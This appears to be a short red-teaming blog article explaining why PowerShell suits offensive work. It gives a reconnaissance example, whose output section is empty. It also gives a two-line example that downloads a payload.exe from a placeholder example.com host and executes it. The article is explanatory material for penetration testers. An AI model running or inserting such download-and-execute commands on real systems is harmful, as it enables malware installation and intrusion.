Offensive PowerShell

PowerShell is a powerful scripting language and command-line shell used predominantly by system administrators for automation and configuration management. However, its capabilities make it a valuable tool for red teamers to conduct penetration testing, exploit vulnerabilities, and maintain persistence within a target environment.

Why PowerShell is Useful for Red Teaming

Pre-installed and Trusted: PowerShell is natively installed on Windows operating systems, and its legitimate use by administrators makes it less likely to raise immediate suspicion during red teaming activities.

Automation and Scripting: The ability to automate complex tasks with simple scripts makes PowerShell an ideal choice for red teamers. Tasks such as reconnaissance, exploitation, and post-exploitation activities can be scripted to save time and reduce manual effort.

Integration with .NET: PowerShell’s integration with the .NET framework allows red teamers to leverage a vast library of functions and classes, expanding the scope of their capabilities.

Remoting Capabilities: PowerShell remoting enables red teamers to execute commands on remote systems, making lateral movement within a network more efficient.

Living-off-the-Land (LotL) Techniques: Using PowerShell, red teamers can leverage existing tools and scripts within the target environment to achieve their objectives, minimizing the need to introduce new, potentially detectable software.

Examples and Usage

Example 1: Gathering System Information

This script gathers detailed information about the computer, including hardware, operating system, and network configurations.

Get-ComputerInfo

Output:

Example 2: Downloading and Executing a Payload

This script downloads a payload from a specified URL and executes it.

Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile C:\Temp\payload.exe
Start-Process -FilePath C:\Temp\payload.exe

Some useful collection of Offensive Powershell Scripts:

OffensiveTools/Offensive_Powershell at main · sartlabs/OffensiveToolsGitHub

The collection is updated on a regular basis!